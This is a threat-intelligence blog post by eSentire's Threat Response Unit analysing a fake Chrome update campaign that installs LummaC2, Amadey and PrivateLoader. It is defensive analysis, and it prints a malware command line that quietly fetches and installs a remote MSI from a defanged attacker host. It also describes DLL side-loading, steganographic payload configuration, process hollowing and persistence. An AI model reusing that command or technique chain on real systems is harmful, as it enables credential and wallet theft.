What We Do
How We Do
Apply to become an e3 ecosystem partner with eSentire, the Authority in Managed Detection and Response.
Login to the Partner Portal for resources and content for current partners.
Get Started

Fake Browser Updates Distribute LummaC Stealer, Amadey and PrivateLoader Malware

BY eSentire Threat Response Unit (TRU)

September 1, 2023 | 10 MINS READ


Threat Intelligence

Threat Response Unit

TRU Positive/Bulletin

Want to learn more on how to achieve Cyber Resilience?


Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.

We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware.

Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team.

In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward.

Here’s the latest from our TRU Team…

What did we find?

In recent weeks, TRU has observed an uptick in cases related to LummaC2 across multiple industry verticals.

LummaC2 is an information stealer distributed as a Malware-as-a-Service (MaaS) offering on Russian-language forums. The malware was first observed in mid-2022 and remains under active development. As is common with information-stealers, LummaC2 targets an array of information on infected systems including browser credentials and cryptocurrency accounts.

Our analysis suggests it also has the ability to load additional malware onto the system. In a recent case in mid-August, a user became infected with LummaC2, Amadey, and PrivateLoader after running a fake Chrome browser update.

This blog will cover the initial access vector and follow on payloads from this case.

Analysis of the Fake Chrome Update Delivery Mechanism

In the recent case involving a retail customer, the victim performed a Google search for a non-profit educational organization based in El Salvador.

Figure 1 The infection was kicked off with a Google search

When the page was visited, the user was presented with a fake update for their Chrome browser:

Figure 2 Fake Chrome Update Overlay

Examining the page’s source code, it’s apparent that an iframe has been injected and overlaid over the legitimate page: 

Figure 3 Close inspection of the iframe

The iframe loads threat-actor controlled HTML from


Figure 4 The first stage of HTML initially loaded by the iframe. The code is replaced with a longer HTML file containing the Chrome page and tracking scripts.

This new HTML contains JavaScript that manipulates the DOM and replaces the entire document with the content of ‘X2luZGV4LnBocA==' (’_index.php'). This new page contains a 6000+ line HTML document containing various scripts associated with Keitaro TDS and FingerprintJS.

Figure 5 Comparison of a snippet from the threat actor's script and Keitaro's docs

Keitaro TDS is a popular traffic distribution system used for advertising campaigns. It offers robust device-based filtering options which, in this case, is likely used to deliver payloads to specific groups of targets and to avoid scanners/known vendor IPs.

Snippets of code related to FingerprintJS are also found:

Figure 6 Snippet of FingerPrintJS found in the HTML

When the FingerprintJS library is initialized, it collects device fingerprint data, encodes it then uses an AJAX function to send it to hxxps://stats-best[.]site/fp.php via POST request:

Figure 7 Code for initializing FingerPrintJS and sending the data to a third site.

The fingerprint data contains various attributes about the visitor, including Operating System, keyboard language, screen resolution, time zone, plugins, canvas fingerprint and the visitor ID. How this data is used is not immediately clear. It’s a strong possibility that it is used for campaign tracking and/or filtering of victims.

When examining the fake Chrome update, we noticed the HREF tied to the “Update Chrome” button leads to a legitimate Google link, further increasing the apparent authenticity of the update warning.

Figure 8 The user perspective when hovering over the "Update Chrome” button

However, when clicked, the user is instead redirected to a malicious download. Examining the DOM, we noticed this JavaScript:

Figure 9 JavaScript code responsible for hijacking the legitimate Google.com link to threat actor controlled infrastructure

The script attaches an event listener to the anchor element “js-download-hero”. This element contains the legitimate Chrome URL:

Figure 10 Snippet of the js-download-hero element

When this element is clicked, it triggers the event listener. The script first modifies the default behavior using e.preventDefault(), effectively stopping the click from navigating the Google URL. It then constructs a new URL using the Fingerprint ID (FPID) and other parameters then redirects to the new malicious URL.

The “DownloadMouse” class likely uses a hover event listener to track mouse movement. If the element is hovered over by the user’s mouse, it’s reported in the subsequent request for the payload as True.

All of this culminates in a callback to the Keitaro gateway (wnimodmoiejn[.]site), where filters are likely applied before ultimately redirecting to a file hosted on Microsoft’s OneDrive. The user is then presented with a ChromeSetup.exe file (c9094685ae4851fd5a5b886b73c7b07efd9b47ea0bdae3f823d035cf1b3b9e48).

Figure 11 Handoff to OneDrive hosted payload

ChromeSetup.exe Analysis

When opened by the victim, ChromeSetup.exe initiates a series of steps to load LummaC2 Stealer which in turn loads additional remote payloads. In this instance, the payloads were Amadey and PrivateLoader.

MSI file Retrieval and Execution

ChromeSetup.exe launches Msiexec.exe with command line options to retrieve and install a remove package:

C:\Windows\system32\msiexec.exe" /i hxxps://ocmtancmi2c5t[.]xyz/82z2fn2afo/b3/update.msi /quiet /qn /norestart

Update.msi is a Windows installer file created using Advanced Installer. The package contains various files including DLLs, a log file, and an executable file:

Figure 12 Bundled files in the installer package

It also contains a Custom Action to launch VMwareHostOpen.exe:

Figure 13 Custom action launches the VMware binary using Viewer.exe

At first glance the bundled files appear to be legitimate VMware-related files. Two of these files (vmtools.dll and vmo.log) are not legitimate and are components used for loading the next stage of the malware. The bundled files are written to AppData\Roaming\installation-assistant-*\.

VMwareHostOpen.exe DLL Replacement

VMwareHostOpen.exe (0edde5e8300ad4e03f68c05bd022b998) is a valid VMware executable with a signature timestamp from August 2020. It loads several DLLs (including vmtools.dll) from its current working directory before searching other standard paths.

In this case when VMwareHostOpen.exe is executed using the custom action described above, it loads vmtools.dll (95bd27110f462e416904970631fd48a0) which is dropped in the same directory by the installer. We located the original vmtools.dll file and from a quick glance at the file properties it’s apparent the one packaged here has been modified:

Figure 14 Comparison between DLLs.

Examining the execution flow of both the legitimate and modified DLL, we can see the threat actor patched the legitimate DLL to redirect execution flow to attacker supplied shellcode. Given that the file size remained the same between the files, it’s likely legitimate code was overwritten to achieve this.

Figure 15 Execution flow is redirected to shellcode in the modified DLL.

Config Extraction and Next-Stage Payloads

Vmtools.dll, loaded by VMwareHostOpen.exe copies the files from the installation directory to a new path under AppData\Roaming\*randomstring*. It then reads from vmo.log, another of the bundled files. Examining the log file reveals it appears to be a PNG image:

Figure 16 Examining vmo.log

The image contains steganographic data which holds injection targets, write locations and deconstructed PE’s (we assess sections, or the entire PEs are injected into targets cmd.exe or explorer.exe). This is likely done for defense evasion purposes by inhibiting memory analysis of intact binaries. A copy of the cleartext file can be found here.

Figure 17 Vmo.log Vmo.png. The rows of pixel blocks suggest embedded data. Our analysis inferred this to be configuration data used for subsequent payload retrieval.
Figure 18 Snippet of decoded PNG data.

TRU member Saptarshi Laha created a Python script to decode the PNG file, which is available here.

This step may seem redundant, but we assess it was likely done to maintain the original file size of vmtools.dll and add modularity.

The shellcode is loaded by vmtool.dll to create an executable section with injected code from the PNG file within mshtml.dll. This is further used to create a hollowed cmd.exe process which in turn injects LummaC2 into a new explorer.exe process using process hollowing. Under the hollowed explorer.exe process, LummaC2 contacts URL (doorblu[.]xyz/c2conf) to retrieve a base64 string containing an XOR-encrypted configuration file:

Figure 19 Encoded data retrieved from one of several command and control servers.

This object decodes to a JSON file containing configuration data:

Figure 20 JSON configuration retrieved from C2 path /c2conf.

The configuration file contains a list of targets common with information stealing, including browser credentials, crypto wallets, password etc.

Figure 21 Snippets of the configuration showing targeted data.

A series of HTTP POST requests are made to the C2 to upload system information and the stolen data targeted within the above configuration. Also present within the configuration file is a payload URL:

Figure 22 URL path for the .NET loader. Found at the bottom of LummaC2's config.

In our testing the configuration file changed over time, with new URLs rotated in and out which served a .NET loader covered below. Observed URLs include:

.NET Loader For Amadey and PrivateLoader

The .NET loader is executed by the same hollowed Windows Explorer process mentioned above. Its lineage can be traced back to the VMwareHostOpen.exe process if examining a parent/child process tree. It contains two encrypted resource files containing Amadey and PrivateLoader (in recent testing StealC was also observed). These resources are decrypted using an AES decryption routine and executed.

Figure 23 Snippets from.NET loader analysis. The embedded payloads are decrypted at runtime.

For persistence, recent Amadey samples we analyzed established persistence using Startup Folder, scheduled tasks and Run/RunOnce keys. For scheduled tasks, the task name will match the name of the binary dropped to the %temp% directory. We have also observed modifications to HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders to point the startup folder to the directory containing the Amadey binary.

Recent samples connected to Amadey C2 panel at IP 45.9.74[.]182.

Figure 24 Amadey C2 Panel login

In summary, this infection scheme delivered a malicious installation package via a compromised website using a Chrome update overlay. The installation package uses a modified VMware DLL to load shellcode from a PNG containing hidden data. This shellcode is injected into legitimate Windows processes whereby data is stolen from the system and uploaded to the C2 before loading additional payloads.

This final order of operations is a bit unusual. We typically observe malware report basic system information before dropping additional payloads, not wholesale information theft from the system. It’s possible this is simply a precautionary measure in case the subsequent payloads are detected.

Alternatively, considering the MaaS model, it remains a realistic possibility that the threat actor is skimming valuable information before dropping the final payloads.

How did we find it?

What did we do?

What can you learn from this TRU positive?

Recommendations from our Threat Response Unit (TRU):

The PNG Decoder Script can be found here.

Indicators of Compromise




Hosting Fake Update page and Keitaro TDS gateway


FingerprintJS (FP) tracker


Hosting MSI file


LummaC2 Stealer Command and Control


LummaC2 Stealer Command and Control


Payload Hosting


Payload Hosting


Payload Hosting

Amadey C2 Panel












LummaC2 Stealer


.NET Loader





eSentire Threat Response Unit (TRU)
eSentire Threat Response Unit (TRU)

Our industry-renowned Threat Response Unit (TRU) is an elite team of threat hunters and researchers, that supports our 24/7 Security Operations Centers (SOCs), builds detection models across our Atlas XDR Cloud Platform, and works as an extension of your security team to continuously improve our Managed Detection and Response service. TRU has been recognized for its threat hunting, original research and content development capabilities. TRU is strategically organized into cross-functional groups to protect you against advanced and emerging threats, allowing your organization to gain leading threat intelligence and incredible cybersecurity acumen.

Read the Latest from eSentire